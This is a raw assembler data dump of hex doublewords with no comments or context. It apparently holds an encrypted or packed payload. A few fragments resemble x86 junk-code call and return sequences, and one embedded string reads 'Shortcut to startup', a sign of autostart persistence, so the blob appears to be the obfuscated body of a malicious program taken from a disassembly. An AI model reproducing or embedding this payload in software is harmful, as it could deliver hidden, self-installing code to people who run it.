dd 6B13BDEEh, 48BAE2B4h, 70B2B99Fh, 342BB9F9h, 6374BDEEh
dd 3F3F4EB4h, 0B9B83691h, 327B8C20h, 0AEA95A6Fh, 0B555F8C1h
dd 9F33BBC3h, 340938D2h, 3459BDEEh, 34305525h, 6E13BDBBh
dd 60BAE71Eh, 70B2B9CAh, 342EB953h, 6671BDBBh, 0E2A0F81Eh
dd 2C723A97h, 52424F23h, 0BF4FEF00h, 7C108448h, 36A154E8h
dd 0E6B2BD77h, 5576CA44h, 3532BD63h, 4DA634A8h, 0B935F545h
dd 7F423F3Eh, 0BD8E94DBh, 0CB35F5CDh, 6533D7A7h, 3433BE53h
dd 0F76A9DDDh, 107F34B7h, 10773C73h, 3433A0BFh, 0F762FCDDh
dd 1AE14A79h, 0BF6DCA1Dh, 0A13AF046h, 327BB51Ch, 0B03C7D6Bh
dd 3433BF5Dh, 0DC66BDD1h, 3433BDDEh, 69F0E0CEh, 3017D1FEh
dd 3017F93Ah, 3433BDC8h, 9AF0E8ABh, 38DBDDA7h, 7B33BDBBh
dd 0DCB1B588h, 59D7DC81h, 0BD5349BFh, 7C31402Eh, 0B552E5DBh
dd 360EDBD6h, 0AB6B275h, 0BF33BDBBh, 7C39A440h, 324B3CE8h
dd 4E6C8011h, 35D939B4h, 3459BDDDh, 343055BEh, 6C13BD77h
dd 70BAE578h, 70B2B9F9h, 342EB9CAh, 6473BD77h, 0D95DAA78h
dd 73D293B6h, 1F9A8E3Eh, 7C0370EAh, 0CB2DBBDh, 0B13CDD41h
dd 3433BD69h, 0DC61BD1Dh, 3433BDB8h, 6EF0E7FDh, 3017E967h
dd 3017F9F6h, 3433BDA2h, 0F7F0EF9Fh, 314AC97Eh, 32BAB244h
dd 1D33BDBBh, 7C3E2460h, 364B3DE8h, 64B6B29Fh, 5433BDBBh
dd 6917C264h, 0DD8634E3h, 5535F563h, 0B5554C31h, 0F433BBA5h
dd 340638E1h, 3459BD77h, 343055EEh, 6913BDDDh, 58BAE02Dh
dd 70B2B953h, 3429B99Fh, 6176BDDDh, 7A8CCB2Dh, 2F94F20Eh
dd 29B694EAh, 6B35F5CFh, 34328E07h, 75AE3677h, 8A35F5ACh
dd 4A32BCDDh, 1BEA0067h, 0B1BEBB3Fh, 3278CC39h, 3E6E0054h
dd 0E4CCBBA6h, 0B1EA0A78h, 0C7B7B27Bh, 733BDDDh, 7C186873h
dd 0DC0B3D71h, 344038B4h, 38DBBDDDh, 2B33BDEEh, 774458C0h
dd 0ACEB5692h, 71820FAh, 7C26307Bh, 4CB3E471h, 0B13CCEBEh
dd 3433BD8Ch, 0DC64BD84h, 3433BD74h, 6BF0E29Bh, 3017C154h
dd 3017F96Fh, 3433BD61h, 0E0F0EAFCh, 0B11A1063h, 327BB57Bh
dd 6734C5F7h, 349939B4h, 3459BDDDh, 343055BDh, 6F13BD77h
dd 68BAE678h, 70B2B9F9h, 3428B9CAh, 6770BD77h, 0B62A9C78h
dd 6B47A3D2h, 0CB2DBFCh, 0B13CB8F8h, 3433BDDDh, 4CB36556h
dd 0B13CD5E8h, 3433BD2Dh, 45F03CDDh, 4CB2DBF6h, 3B1642E5h
dd 3433F4F2h, 0BF5541BBh, 3465540Bh, 3459BDEEh, 34305527h
dd 6C13BDBBh, 70BAE51Eh, 70B2B9CAh, 342EB953h, 6473BDBBh
dd 18B5131Eh, 0CDDE996Dh, 0DCFBA0EAh, 3433BDB2h, 8B970968h
dd 0EE10C842h, 2FC03CC8h, 6B28F2A6h, 34333DD2h, 348BBDEEh
dd 0B533BD77h, 0BB0D9F7Ah, 343D54D9h, 89B8BDEEh, 327BAEC6h
dd 3433BC03h, 32F53DDDh, 646CEB7Eh, 5EA35CC4h, 37DBECBBh
dd 1433BDDDh, 0BD6A7EB7h, 0B537993Bh, 233799FFh, 7533BDDDh
dd 0A2DE7EBFh, 89BEBC8Ch, 327E877Ch, 746A3050h, 178BBBA3h
dd 3744DB22h, 7C38303Eh, 0F5FC96DBh, 32BCDD8Ah, 0EA00674Ah
dd 0BEBB3F1Bh, 78CC39B1h, 6E005432h, 0CCBBA63Eh, 0E98378E4h
dd 58A4F305h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Bh, 51C35040h, 0B6EAFEC2h, 8B8486D6h, 4828F59Dh, 6E906h
dd 0D6700000h, 11369C88h, 840FC00Bh, 5Eh, 318D8D29h, 0B58D0648h
dd 6484E80h, 374DE281h, 85294C26h, 64827ADh, 3B8h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
dd 8843089Ch, 0FF22B143h, 50006AE6h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1504h, 0C3504000h, 6A4093D9h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h
dd 47000000h, 8BA1C357h, 4814E19Dh, 9D8D8B06h, 8B06480Ah
dd 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h
dd 0C3524200h, 20A19832h, 1CB91509h, 880FEB46h, 6, 2B358D8Bh
dd 0BD830648h, 6481299h, 83097500h, 480D35BDh, 19740006h
dd 0C08B5350h, 403B8h, 0F9858900h, 8D06482Fh, 4AA4CB9Dh
dd 5BD3FF06h, 35BD8358h, 6480Dh, 53501774h, 403B8h, 0F9858900h
dd 8D06482Fh, 4AA16C9Dh, 5BD3FF06h, 50006A58h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1D04h, 0C3504000h, 0DB234465h
dd 677F5403h, 0B70F42A3h, 52006ADBh, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0C772834h
dd 7B6012EFh, 0EBA6635h, 0E8C08B48h, 0Ch, 4BA031D5h, 8424ECE7h
dd 384AAA9Bh, 24C18166h, 0E8615FFFh, 11h, 63ACCD3Dh, 8350E0D8h
dd 0A1A9E6E8h, 0B257F987h, 68D0F7Ah, 89000000h, 4817F19Dh
dd 81F85B06h, 5B74C3h, 65B58900h, 0B806482Fh, 16B9h, 2E78C781h
dd 33FF3F7Fh, 39BD8B53h, 5F064832h, 51B5895Ah, 8106480Fh
dd 15F679F2h, 4BBF507Ch, 5903B775h, 5F5BC281h, 956082Dh
dd 4811C995h, 0F2815F06h, 57FBCAA0h, 12899D89h, 8B520648h
dd 4823ED8Dh, 8B038F06h, 481641B5h, 4EB8306h, 8D5BD89h
dd 0E8830648h, 0A7850F01h, 66FFFFFFh, 0FB70E681h, 9C005220h
dd 77B1229h, 60CA851Fh, 8AEBBE6Eh, 492B6F91h, 0E379A04h
dd 1311385h, 24AEB980h, 82357A71h, 4903C39Dh, 853C3216h
dd 1333243h, 0E960326Eh, 1333201h, 5AF06921h, 5176E09h
dd 51776C1h, 1333238h, 29F06153h, 0E55E7A2Dh, 15028F8Fh
dd 0E2DA344Ah, 6B333200h, 2DB6180h, 21333240h, 8868F17Bh
dd 8037164Ch, 1937164Ch, 42333204h, 7E46F151h, 912B889Fh
dd 51E5B9E6h, 0FAB85420h, 159A241h, 130DA45h, 5C133208h
dd 6DBA6FC7h, 45B23626h, 1273625h, 54763280h, 0FAB80283h
dd 257F332Fh, 533358EEh, 13331E0h, 0C2691204h, 2567BB58h
dd 2577B305h, 1332884h, 0C2617040h, 7DA019E7h, 804B318Fh
dd 3A50B4C6h, 0D6B25473h, 6B6B3EEBh, 2DB6401h, 21333280h
dd 886DF11Eh, 80371654h, 14371654h, 47333208h, 53ADF152h
dd 0C1B0CEB1h, 5333582Dh, 1333168h, 0C2691240h, 2567BB7Ah
dd 2577B314h, 133260Ch, 0C2617004h, 0F0863BDBh, 0E357A2Eh
dd 133340Fh, 0BC8E1140h, 8A357A31h, 13FDB18h, 0F6DC3208h
dd 89F2B69Eh, 0A57E8E83h, 8A550377h, 0FDACEC8h, 1D333240h
dd 2268C0A6h, 8C2507F0h, 0B8CDB1F6h, 38B25433h, 853CCD34h
dd 1333286h, 82CAB9E6h, 0B63C3B81h, 0E80AB2F2h, 1E3B71Fh
dd 8CBA3208h, 77B282Dh, 88327389h, 4927DB94h, 0FB3186h
dd 491BDBFDh, 123DB26h, 56FC3210h, 4934AAB0h, 5086F97Bh
dd 82E4D016h, 0C0B07D20h, 54335885h, 13331A8h, 0C26E1220h
dd 255FBB4Dh, 2577B30Ch, 1332F00h, 0C2667702h, 8BDA444Dh
dd 0FC5EF15Ch, 803CE90Fh, 133322Ch, 135B41Fh, 841A3208h
dd 77B3CF9h, 4AA30B83h, 843CB942h, 13332DEh, 8C71C0C0h
dd 497DB2ADh, 0BBFDB316h, 0B962531Fh, 1333207h, 2D268F89h
dd 0FDB3449h, 34333280h, 4D0ED7E5h, 0B37D2474h, 35AD039Bh
dd 3DC4B3ACh, 5E509A2Fh, 159D3FDh, 130DA52h, 5A133280h
dd 5DBA6983h, 45B23604h, 1273634h, 52703208h, 9CBA58C7h
dd 77B3CABh, 0C1AA78Ah, 6B5234C8h, 2DB6440h, 21333220h
dd 886DF14Eh, 8037167Ch, 1C371640h, 47333202h, 3D9BF157h
dd 1D69757Bh, 10ADB679h, 43888FADh, 8CBE345Dh, 77E7733h
dd 93B046BCh, 0B4B60103h, 2A357A15h, 3DAF34Fh, 9C005220h
dd 77B1229h, 60CA851Fh, 8AEBBE6Eh, 492B6F91h, 0E379A04h
dd 0F305E983h, 89C08BA4h, 4812B98Dh, 0AE906h, 1F240000h
dd 2792972Ah, 0FC68E2F7h, 8D8DC38Bh, 64D4632h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0ECC35747h, 8D896719h
dd 6481405h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 16h, 64C35343h, 0B866524Ah, 85C7058Ah, 6483025h, 65CCh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0D7C35646h
dd 0BAE3F8E7h, 85C7CD6Bh, 6482AD9h, 0
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 9BC35040h
dd 33A11D8Ch, 0DC29D7BAh, 21B5FF69h, 0F8064812h, 0E7195FFh
dd 9D8B0648h, 64822E1h, 95FF006Ah, 648092Dh, 3AEBC08Bh
dd 8D8CABC4h, 61211D0Ch, 49258B26h, 21397359h, 6A9529A5h
dd 0AD29B4Ch, 7EFEEE58h, 0DB73738h, 8CC25F64h, 7533DC1Ah
dd 0C8478940h, 0A0B2C4Eh, 34455887h, 37FDE565h, 14E81962h
dd 35000000h, 682DBFABh, 0EC594811h, 5116A136h, 963EDCF7h
dd 0F990A6D6h, 0CE958h, 30520000h, 0E86448D6h, 0D3F28EB1h
dd 0C081414Dh, 64C1h, 277D8D29h, 0BA0648h, 8B000000h, 8D09100Ch
dd 6482F7Dh, 70B0C181h, 9D31622Ah, 648150Dh, 642DE981h
dd 66603CDFh, 3766F081h, 6890Fh, 8D0F0000h, 0
dd 3F18161h, 0E902B7A3h, 6, 1CC58E9Ah, 0C89CE92h, 5E910h
dd 0AB950000h, 0FC6C35Fh, 0EA83DEB7h, 4A4AFC01h, 0F1BF0F4Ah
dd 9C0CFA81h, 850FFFFFh, 1Eh, 6E8h, 8DF39700h, 963FDF9h
dd 48162595h, 1DE95F06h, 68000000h, 0F8893B3Ch, 0BF0F9825h
dd 0FF75E9FEh, 28BEFFFFh, 216343D1h, 93CE38AFh, 0DE717391h
dd 0D4712ADEh, 0DC4B46D4h, 0C8557F01h, 98525CD4h, 0A90B3363h
dd 982633A9h, 5E265AF1h, 0D029CAEFh, 0B44E6033h, 67A5E4FFh
dd 0D00F9AF8h, 0F8A3BEA0h, 6720782Ch, 0A5A3BA79h, 1B207BC8h
dd 0D0061ED7h, 1D293333h, 98263383h, 0DF71B6C0h, 157635EBh
dd 0D5617AD6h, 0DD963AFh, 9E6E2FE9h, 98266483h, 15235935h
dd 0D5616A1Fh, 1DAB634Bh, 9E6B74EFh, 3DB3CC03h, 93207B9Bh
dd 0A1A23C14h, 1526336Ah, 0D5616AB0h, 0AACE639Ch, 0D826334Dh
dd 0C7A3BEF6h, 0C8207E14h, 0DF7FB624h, 67763599h, 0D00E52FFh
dd 94E2B033h, 0DF7FB617h, 15763500h, 0D5617A23h, 0DD96355h
dd 9E6E2F94h, 9826513Dh, 74AD666Ah, 0CE746464h, 0AB2E4E11h
dd 9824DA8Dh, 0DF6633A6h, 97260CD3h, 67D9C62Ch, 13EF002Bh
dd 0B2CF3B17h, 0AB263335h, 1831B948h, 68AD03A7h, 5AAD63E8h
dd 982C8800h, 9BCF33A9h, 6F2633D4h, 66A57D89h, 6CA13C35h
dd 0C3D9CC65h, 0DF7EFB4Eh, 97E638EEh, 67D9FDD6h, 0C6E7B856h
dd 517F6C8Eh, 152637A8h, 0D5617488h, 0E4ABBE9Ch, 20207E05h
dd 93h, 71E7FC78h, 0D0073102h, 4C783C8h, 0F2850F49h, 8DFFFFFFh
dd 4D487CB5h, 9B8D8D06h, 2B064D48h, 5E983CFh, 8E8C88Bh
dd 22000000h, 7D1A4F36h, 17CF474h, 4817B1BDh, 958B5B06h
dd 6480819h, 5A23C381h, 0EE90000h, 6000000h, 0ABD3957h
dd 16D1A519h, 0CE5C9941h, 688Fh, 8E0F0000h, 0
dd 0F9B5315Fh, 8B064815h, 78BA3B34h, 81461452h, 186987C6h
dd 0C681F549h, 1A02214Fh, 0E5EE81F5h, 8B071323h, 482EA58Dh
dd 0B9665606h, 48F348Bh, 44F1813Bh, 902257Ch, 48062DB5h
dd 4EF8306h, 2A898D8Bh, 0FF810648h, 0FFFFA670h, 0FFB5850Fh
dd 840FFFFFh, 6, 1FD8D8Bh, 9D8D0648h, 6483345h, 39B8h
dd 0F9858900h, 0E8064808h, 0
dd 0D0558h, 3890000h, 39E9h, 0E6000000h, 0Dh dup(0E6000077h)
dd 6CEBFF77h, 726F6853h, 74756374h, 206F7420h, 72617473h
dd 707574h, 14h dup(0)
dd 771D2F83h, 1, 0F86E9h, 4B866800h, 0AFE9064Dh, 68FFFBFEh
dd 64D4C79h, 0FBFEA5E9h, 4E7A68FFh, 9BE9064Dh, 68FFFBFEh
dd 64D4EB9h, 0FBFE91E9h, 4F9F68FFh, 87E9064Dh, 68FFFBFEh
dd 64D502Ah, 0FBFE7DE9h, 540368FFh, 73E9064Dh, 68FFFBFEh
dd 64D5707h, 0FBFE69E9h, 581168FFh, 5FE9064Dh, 15FFFBFEh
dd 903EB292h, 680C808h, 8E08409Ch, 0F593DF19h, 6D1850B4h
dd 7BA1E000h, 0FD2D6977h, 0AD2D3FDh, 86425846h, 6DDAF2CAh
dd 73D7358Ch, 77C70869h, 0C0871F11h, 759A7F33h, 0AE4F74D6h
dd 4B759A7Fh, 0DC2794F1h, 0B854F519h, 9A0490DEh, 69B3FE06h
dd 0C2D8C68Fh, 0A0AB4A06h, 5E40D8FCh, 2C38A56h, 8F5223E0h
dd 463DB30Dh, 73D22395h, 0E5B48AD2h, 0F320D04h, 0D29B1606h
dd 384ABDC9h, 31179Eh, 90DE0000h, 2A9D3165h, 8F52623Ch
dd 0FD89C799h, 7215E265h, 0EDF073D2h, 0FF45E60Bh, 9DD0B2C3h
dd 0D26E7728h, 16283073h, 38D84A74h, 0B9E09Eh, 81970000h
dd 0D88B04A0h, 5348FB25h, 10BE3791h, 74004E8Ah, 1A8E762Ah
dd 6CCE90DEh, 0E0246569h, 72B6ECEAh, 46485E7Ch, 9A8EF081h
dd 0E94B1575h, 8A9E3EE1h, 396F759Ah, 7B25FDFDh, 0E2ECE125h
dd 0B37278BCh, 7C0D488h, 8F52B383h, 55DC9C2Eh, 0E95E762Ah
dd 891C07A8h, 0F59B338Dh, 886055ADh, 9419B06h, 7BDA028Fh
dd 22530BFh, 44D49957h, 0F100000Dh, 7C1A56B6h, 0E2ECEC24h
dd 6A7464A0h, 0D1FFF335h, 494474D0h, 1FCDCC2Ch, 91713553h
dd 2EF6BFD9h, 0BA7E24A2h, 49FE9636h, 73D734A8h, 77EB2C4Dh
dd 0F09ED20Ah, 8B4D52AAh, 7519FBC5h, 158D752Bh, 63CD9FDDh
dd 9081B66Ah, 0F39D3165h, 891F56B6h, 526240DEh, 335BE58Fh
dd 9FFE366Dh, 0C7CB36E9h, 4B034A08h, 0D2123B94h, 625C7C73h
dd 38A4A6C0h, 0C50C9Eh, 772B0000h, 0DFC1D511h, 894508C8h
dd 105E8E0Bh, 9A7B05ABh, 6AAEF475h, 0DA227866h, 734D03C5h
dd 2F5ADB91h, 783D630Bh, 0D99C2EACh, 42028443h, 9EAF8F52h
dd 0F1E50FCBh, 0CAE24C6Ah, 4E07C5C4h, 0B4E81392h, 7AB98820h
dd 45C8BCEBh, 0CB792EA7h, 0CC891CA1h, 0C8C7397Dh, 35D13C9h
dd 19F6C722h, 0E380AAAEh, 91C4A6A4h, 652B431Dh, 0EEE8E024h
dd 9C79A3h, 0C022564h, 0C516F4Eh, 850E0000h, 1189175Bh
dd 0B5FF99D1h, 20676169h, 0A3EEE8E0h, 3B447179h, 420EDEDBh
dd 0C8804044h, 5D1DC7CEh, 21A96D33h, 9976F199h, 7C73D733h
dd 0A77F83Dh, 7FCEAF18h, 912B759Ah, 7FAD4AFDh, 0F648759Ah
dd 643AA414h, 770728A0h, 0FE7D511h, 96C40081h, 871D8134h
dd 29770F43h, 733AB36Fh, 0E8801448h, 0DD72B19h, 27AEB3E3h
dd 521EF87Eh, 0EB835D8Fh, 0D1E3DF1Ah, 9F030B7Ah, 0E94B155Bh
dd 98752AE4h, 0DF73D2DEh, 723C1FFh, 0AD9E3868h, 18h, 8B45848h
dd 0D1300000h, 14D38024h, 759A0987h, 37FDD862h, 42F3FACAh
dd 63FB6590h, 9A7F17E4h, 6B68F275h, 759A7F8Ah, 0E5EB377Fh
dd 298B55DBh, 0FDA3ED85h, 0A429B339h, 52549BE3h, 90F6988Fh
dd 16F03068h, 2980658h, 0BF3688C6h, 673FBD0Fh, 2EAC7839h
dd 10FF1E1Fh, 3ED8F4Ah, 9A5E444Ah, 16D2C8D6h, 3A78E358h
dd 9D09E816h, 3AB54205h, 8E501496h, 0A04779C7h, 14B23EFAh
dd 70044A8Eh, 48C77691h, 5C0B854Eh, 149693BFh, 0AF26805Ah
dd 969324F6h, 1F114D14h, 0AB1C1288h, 149693CAh, 0E2A8683Fh
dd 0D4F2FE58h, 9F440ACEh, 149693C7h, 7A0D2309h, 0EEE8E024h
dd 0C0587CB8h, 0E6CFA061h, 4E755CBAh, 0EB69E8A1h, 3BF3FA44h
dd 832B4F7Ah, 0A1ECDAC4h, 95C56711h, 2D7371BAh, 0AC3EBC68h
dd 0C9374229h, 21EC711Eh, 68CA94EDh, 0FCC78344h, 9AEA17E9h
dd 69E34C2Dh, 2DFDB9EBh, 0CD9F1DAFh, 2C8E565Fh, 2B11354h
dd 9776C959h, 0BFCDF50Bh, 34FBF2F7h, 9975D609h, 3173784Bh
dd 7556BBD4h, 0A002F9AFh, 80435B0Ch, 44E6CFB1h, 30646F16h
dd 59A049Ch, 6268A8FFh, 0EEF0FE58h, 0F0D3EE7h, 0ED0C9FCh
dd 6836CE66h, 0E0FAF030h, 7AFF12E3h, 6055F735h, 0ECEC287Eh
dd 5F44BCE2h, 0A927E3B9h, 0AEBB517h, 42C7C89Ch, 50F7C674h
dd 0D00000Ah, 88165A8Ah, 0FE98D010h, 666068B4h, 0EDEBE721h
dd 457078ACh, 3D9D838h, 8545414Fh, 12CACBD5h, 0AE6A305Eh
dd 75F29A22h, 73D731A4h, 77EF2041h, 6808D511h, 8C022748h
dd 0A11EFCEh, 0C5CE0000h, 5149571Bh, 0F5BFD991h, 6027A129h
dd 0E3AE28A0h, 7B04B139h, 82CE1E9Bh, 8408004h, 9DDD078Eh
dd 6169ADF3h, 0D9B63159h, 3C73D731h, 0E981B87Dh, 9A7F917Eh
dd 0E3EA7475h, 13E2A5FBh, 0BE1655AAh, 7B25492Bh, 0D3EDE327h
dd 0FBA6249Ah, 2F749C1Dh, 7BC5E7D5h, 0B506D199h, 77B3E9B7h
dd 984F6779h, 759ACAFBh, 62094C1Eh, 8846A057h, 893A269Ah
dd 78EF872Fh, 759ACD9Bh, 0FEFC386Eh, 0D99C2EECh, 0DDC28443h
dd 5DEF8F52h, 0ABF4C2E5h, 0DBE64D91h, 42580FA7h, 0E748A79Ch
dd 636E1745h, 91FF973Fh, 3983C909h, 137EF3B4h, 19A34EEAh
dd 0C50CDD75h, 68C33792h, 76D0148Ah, 0B1495F7Fh, 24E28F4h
dd 0A9DD9372h, 0E9EF48DFh, 943A988Ch, 0E5E82451h, 595BA3F9h
dd 13FDCF8Dh, 0D11808B2h, 238A40C5h, 92Bh, 7D7DAFE8h, 0C78B4F53h
dd 4F03DFD9h, 0D69A5A41h, 5F13C9C8h, 0E4A54522h, 662EA820h
dd 0EDA836BAh, 871DBB37h, 17BF0F43h, 0D730C350h, 925B2673h
dd 0E7D51177h, 6860BCF9h, 9A7F46B7h, 0B6699475h, 2CEF8811h
dd 6B03EDAAh, 44A16125h, 0D982D04h, 5329ACFCh, 69D49094h
dd 9309978Fh, 0DE601E57h, 0C8A91EB6h, 2D73D7C4h, 5C42DA93h
dd 0C0CE8246h, 32501EDAh, 4F279577h, 0D1844041h, 0B11CC8CDh
dd 46AF307h, 0A0DC915Fh, 5D000008h, 0D8C68A5Ah, 4E4800C0h
dd 0B6D09844h, 3D5B17D1h, 0B520A87Ch, 0B36928C8h, 3515913Fh
dd 429A1B85h, 0DE1A800Eh, 25A2CA92h, 73D72F54h, 773FF0B1h
dd 29C1D511h, 9A7FD1BEh, 23AA3475h, 44039B6Bh, 759A7FB7h
dd 0D9C58852h, 0A1653BC3h, 0B937912Bh, 40516FBFh, 770D31E1h
dd 2C6978A4h, 6E0FAF0h, 0A9584727h, 626BAC26h, 0EEE2267Ch
dd 700AD9E5h, 5247398h, 90020000h, 2A9D3165h, 8F6926DAh
dd 1FFC6B3Bh, 0FA73D736h, 1FEE8660h, 0B62EAB0Ch, 1CF4F9F1h
dd 0C4E82C72h, 490CD8DAh, 0BCE6EE97h, 0E8E7493Eh, 0BC9CFA3Bh
dd 42C6E082h, 356CE751h, 54000000h, 0DC914B4Ah, 3268901Bh
dd 7F4C2D9Ah, 17A9759Ah, 1D55E259h, 222A9573h, 0A74C7E0Ch
dd 11E6B817h, 0CE000000h, 6123C5C0h, 0CB9537A5h, 0B58B582h
dd 6F000002h, 4CFB6590h, 759A7FAFh, 7E16F04Ah, 692517C9h
dd 94368Fh, 361EFF68h, 61FB73D7h, 11CDB26Ch, 0DC73D736h
dd 4F4D03D9h, 7ED19F5Bh, 6E7BE0DEh, 0A5D0D0EEh, 0B26ADDF1h
dd 9389246Ch, 10F181C9h, 68F823C4h, 20A7CFD1h, 759AA453h
dd 3DA114B6h, 0A422A87Ch, 0EBA927E5h, 0EFAA3D73h, 9313BD3Dh
dd 72DC148Bh, 8A565E7Ch, 0E8C606C4h, 0D0B7575Fh, 0A6005A10h
dd 0A4BE752Ah, 464F759Ah, 0EEB4D29Eh, 908FA42Ah, 2DCD3268h
dd 0C9C9B969h, 706B3C78h, 89E5DCFh, 523C8ECCh, 0D733731Bh
dd 12D46EBFh, 2BB9841Ch, 0E7D52D75h, 7EAF90C5h, 6658A466h
dd 707DBAC4h, 3F81098h, 77270000h, 89CD20Ah, 7F26F770h
dd 0CFD3759Ah, 0DA3B850Bh, 3E37BCE1h, 0E57A73E6h, 516FFDD8h
dd 5E3FA840h, 5D759A83h, 9A830DEAh, 0D856E875h
dd 424F4F06h, 0EF3ED69Ah, 0CC9C105Ah, 513EA974h, 0B4759A00h
dd 9905482Ah, 1FFFCC18h, 6F744B97h, 9918AF81h, 7329F743h
dd 0BDD1158Bh, 9A006D0Ah, 54368875h, 86008E66h, 34A145Ah
dd 9A008842h, 704E8E75h, 4575B1D7h, 0CC825A5Bh, 9A00BB17h
dd 0E3DDFB75h, 0D79B4144h, 9A1C3710h, 5E8A0A75h, 3BEC4E10h
dd 9870B60Eh, 0A37F3967h, 83DA932Dh, 0FFFFFF27h, 0D51177B2h
dd 61A5FBE5h, 7FDAB46Bh, 7CDC759Ah, 3BFFA542h, 766829B7h
dd 9A7F20F1h, 997BC575h, 3CAB43D3h, 759A7F5Fh, 0F8AD20BAh
dd 450FDEB2h, 51F3CD0Dh, 48036855h, 8A56503Eh, 6CECC3h
dd 908B0000h, 59D3165h, 7F1DFA6Dh, 66F8759Ah, 25E6B66Fh
dd 7F218F69h, 0E9E5E828h, 0F0FE2E6Bh, 947430EEh, 0B43A8426h
dd 0D7362FCFh, 36085073h, 3DF66A94h, 2EC09Eh, 59A80000h
dd 0D273DABDh, 1126AF79h, 9A6511AEh, 156DD875h, 38FFFFFEh
dd 1958h, 983000h, 9A7FB647h, 0CA895375h, 759A7F2Dh, 0F67F76C8h
dd 2A958h, 11776F00h, 0D5DFC1D5h, 0C8A4409h, 971E5296h
dd 54ACF46Ch, 634D2D09h, 6E0F429h, 868DF96Eh, 0E2608F52h
dd 566866A2h, 4C01C6F4h, 0B73D286h, 235FEDC3h, 489E383Ch
dd 0CE874146h, 46F7h, 6590BE00h, 3C2A9D31h, 998F5262h
dd 72BD5A0Dh, 4E4873D2h, 63421C92h, 0F6A8B556h, 91DFB9DCh
dd 0D26D712Ah, 18163673h, 38DB788Ah, 0CC7B139Eh, 73D2612Fh
dd 4F0DDFDAh, 7F2DBF7Dh, 0D9E3E935h, 0D93D94h, 77F80000h
dd 0F9E7D511h, 966E6CB8h, 2F988E08h, 759A7F4Eh, 3EB711ABh
dd 80CE0A90h, 10589C02h, 4D971E80h, 7B715F08h, 1A80759Ah
dd 0E81392DEh, 72DC0C88h, 0DAC1ED5Ah, 213C8F54h, 40A3246Dh
dd 17BF19F1h, 0B490117Fh, 7C71ABD6h, 0C8C95752h, 0A20C5E1Ch
dd 3BE1A02Eh, 6D48145Ah, 0FFFE7C04h, 4C7h, 99D13374h, 636FABFFh
dd 0EBE72365h, 727EB6EDh, 0FBF75554h, 4041A1CEh, 0CACAD484h
dd 7134521Eh, 0E3B927ABh, 7B13AB27h, 0D72B2FCCh, 66AFCA73h
dd 0BAD20A77h, 1AB6D06Bh, 8BC25F6Fh, 3EA941D1h, 759AE951h
dd 37CB2AB4h, 0C637F90Fh, 0B5EBF3FAh, 816F0CBBh, 0DA25759Ah
dd 7B741434h, 19FB45CBh, 8245DD75h, 759A05F5h, 68094E10h
dd 8D759A05h, 0FE58980Fh, 813205F7h, 349951Fh, 7F27F473h
dd 78C2759Ah, 0D1B7D79Eh, 921F8115h, 33BA044Ah, 475D7Bh
dd 3ED403D0h, 0EA5D71CCh, 759A590Dh, 0E0F456E8h, 9BADEABEh
dd 0B195595h, 49034A14h, 0FF4E68B9h, 0E0AD2D82h, 387A1BCCh
dd 0CD9F759Ah, 0A2D6E188h, 3C515D0Ah, 52EC8F52h, 0DEB9881Ch
dd 2ECE103Dh, 0D8BB6C61h, 8D73D238h, 242F5F51h, 0E7EB5C70h
dd 5A891A3Ch, 0CF1DEC80h, 2B65E144h, 3AFBB538h, 0AB436B0Fh
dd 7065BDE5h, 698771B7h, 0A6CE908Fh, 3EA9B9F8h, 73D79751h
dd 5482AB4h, 0BB67216Fh, 97A97037h, 5D5873D7h, 51E2CB87h
dd 0B5000000h, 9A7FFDAEh, 8FABD775h, 21E1B9E7h, 0ACD6F0ACh
dd 0B78D5C70h, 6637B0D7h, 83759AB1h, 7C10DC39h, 2398561Fh
dd 759A0952h, 1E7FB191h, 24FAE2CFh, 0C68F0DB0h, 4E02DED8h
dd 77ADE8B6h, 606E6779h, 0AF1FF25h, 759A9C50h, 6DFA3410h
dd 7BFCFC28h, 0BED60E77h, 363AF46Fh, 0CB6DC693h, 0C3DB0553h
dd 7016F456h, 4F4D01B4h, 2935446h, 0E7759A85h, 3DFC745h
dd 95092BA1h, 0D45118B4h, 0B5D6FAh, 3C790E20h, 7618E8E0h
dd 0C09AD00Ch, 0B0BDD88Dh, 0AF70759Ah, 98700A92h, 0FFFF633Ah
dd 1177FDFFh, 0BE29C1D5h, 759A7FD1h, 30EC9634h, 0F4620BAh
dd 0DDD9C75Fh, 4046480Dh, 523CD484h, 7016F450h, 31A406B4h
dd 731B3F4Ah, 526DB2F4h, 0AAD7B98Fh, 0F9437B72h, 6D530CF3h
dd 341473D2h, 0D75E68FAh, 53F49E38h, 0DC000000h, 0A614F0B2h
dd 90E45104h, 59D3165h, 6D0C9324h, 0D1E59528h, 9AEF7916h
dd 8BC29C75h, 52F24CDAh, 0F0770F8Fh, 73D2E223h, 7D7164C6h
dd 0DFC5CBE3h, 6E6A3A1Bh, 575ADC4Eh, 0CAD4A01Eh, 0EF581DCFh
dd 73D22632h, 0C95B5575h, 9E3890BDh, 0F817h, 1177DE00h
dd 0B8F9E7D5h, 0C18F5550h, 492C9EFFh, 15779A04h, 277D234Bh
dd 440AD2DFh, 19D5987Ah, 0CDE1257Bh, 5D1E137Ch, 6F668BCBh
dd 4F8B11BFh, 51705C03h, 2977759Ah, 0A13BB171h, 38FCA22Ch
dd 0B47016B0h, 20547F06h, 0B9CFBD8Ch, 46440321h, 4E0CDCD8h
dd 24A3797Ch, 8F52FF62h, 25FDFD4Fh, 599D038Dh, 0D2E07D1Ah
dd 8FC69873h, 15B9DDE8h, 9562E57Dh, 6073D2E0h, 0AE30FE3Ah
dd 445A7E27h, 0EBBB891Ch, 0B624E0A5h, 44CEAF14h, 673B7598h
dd 0F153EDA3h, 16F6B3DDh, 0AF7D3C5Ah, 257396CEh, 7D70FE02h
dd 1C3h, 0E5D53770h, 6F63A7FBh, 0F7FB2761h, 7E72B2E9h
